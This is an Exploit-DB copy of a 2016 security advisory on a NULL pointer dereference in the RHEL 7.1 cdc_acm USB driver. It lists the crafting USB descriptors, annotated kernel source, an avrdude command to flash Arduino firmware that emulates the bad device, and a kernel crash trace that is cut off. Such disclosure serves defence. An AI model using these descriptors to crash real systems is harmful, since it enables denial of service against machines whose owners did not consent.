Exploit-DB #39543
Description: Linux Kernel 3.10.0 (CentOS / RHEL 7.1) - 'cdc_acm' Nullpointer Dereference
Type: dos
Platform: linux
Date: 2016-03-09
Author: OpenSource Security

Exploit:
OS-S Security Advisory 2016-06
Linux cdc_acm Nullpointer Dereference

Date: March 4th, 2016
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: not yet assigned
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)
Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on invalid 
USB device descriptors (cdc_acm driver)
Severity: Critical. The Kernel panics. A reboot is required.
Ease of Exploitation: Trivial
Vulnerability type: Wrong input validation
Products: RHEL 7.1 including all updates
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the 
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)
Vendor: Red Hat
Vendor contacted: November, 12th 2015
PDF of Advisory: https://os-s.net/advisories/OSS-2016-06_cdc_acm.pdf

Abstract:
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB 
device requiring the cdc_acm driver.

Detailed product description:
We confirmed the bug on the following system:
RHEL 7.1
Kernel 3.10.0-229.20.1.el7.x86_64
Further products or kernel versions have not been tested.
How reproducible: Always
Actual results: Kernel crashes.

Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo 
(github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor
bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x3
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x482
idProduct:	0x203
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

This is the configuration descriptor containing only one interface descriptor.
The cdc-acm driver assumes that there will be at least two interface-
descriptors with associated endpoint-descriptors. 
Since the cdc-acm driver is expecting a second interface descriptor, the 
driver tries to dereference a null-pointer.
This results in a crash of the system.

****
$ nm cdc-acm.ko.debug | grep acm_probe
[PII_REDACTED] t acm_probe
$ addr2line -e cdc-acm.ko.debug 0x179C
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_
64/drivers/usb/class/cdc-
acm.c:1229
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/class/cdc-acm.c)
...
1093	/* handle quirks deadly to normal probing*/
1094	if (quirks == NO_UNION_NORMAL) {
1095	data_interface = usb_ifnum_to_if(usb_dev, 1); /* possible null-
pointer */
1096	control_interface = usb_ifnum_to_if(usb_dev, 0);
1097	goto skip_normal_probe;
1098	}
...
1226 skip_normal_probe:
1227
1228	/*workaround for switched interfaces */
1229	if (data_interface->cur_altsetting->desc.bInterfaceClass /* null-
pointer dereference */
1230	!= CDC_DATA_INTERFACE_TYPE) {
1231	if (control_interface->cur_altsetting->desc.bInterfaceC
...
****

[*] Configuration-Descriptor
bLength:	0x9
bDescriptorType:	0x2
wTotalLength:	0x27
bNumInterfaces:	0x1
bConfigurationValue:	0x1
iConfiguration:	0x0
bmAttributes:	0x0
bMaxPower:	0x31
[*] Interface-Descriptor
bLength:	0x9
bDescriptorType:	0x4
bInterfaceNumber:	0x0
bAlternateSetting:	0x0
bNumEndpoints:	0x0
bInterfaceClass:	0x0
bInterfaceSubClass:	0x0
bInterfaceProtocol:	0x0
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x81
bmAttribut:	0x3
wMaxPacketSize:	0x404
bInterval:	0xc
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x1
bmAttribut:	0x2
wMaxPacketSize:	0x4
bInterval:	0xc
[*] Endpoint-Descriptor:
bLength:	0x7
bDescriptorType:	0x5
bEndpointAddress:	0x82
bmAttribut:	0x1
wMaxPacketSize:	0x4
bInterval:	0xc

Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This 
firmware will emulate the defective USB device.

avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U 
flash:w:binary.hex

The firmware has been attached to this bug report.
To prevent the automated delivery of the payload, a jumper may be used to 
connect port D3 and 3V3!

Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, 
only physical access to the system is required.

Vendor Communication:
We contacted Red Hat on the November, 12th 2015.
To this day, no security patch was provided by the vendor.
Since our 90-day Responsible Discourse deadline is expired, we publish this 
Security Advisory.

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1283366

Kernel Stacktrace:

[ 32.550821] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 32.765575] usb 1-1: New USB device found, idVendor=0482, idProduct=0203
[ 32.775042] usb 1-1: New USB device strings: Mfr=1, Product=2, 
SerialNumber=3
[ 32.780788] usb 1-1: Product: Ä?
[ 32.783389] usb 1-1: Manufacturer: Ä?
[ 32.786534] usb 1-1: SerialNumber: %
[ 32.794914] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc 
says 96 microframes
[ 32.850587] BUG: unable to handle kernel NULL pointer dereference at 
[PII_REDACTED]
[ 32.851028] IP: [<ffffffffa039479c>] acm_probe+0x26c/0x11d0 [cdc_acm]
[ 32.851028] PGD 0 
[ 32.851028] Oops: 0000 [#1] SMP 
[ 32.851028] Modules linked in: cdc_acm(+) ip6t_rpfilter ip6t_REJECT 
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc 
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter 
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat 
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter 
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper 
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c 
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix 
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod
[ 32.851028] CPU: 0 PID: 2220 Comm: systemd-udevd Not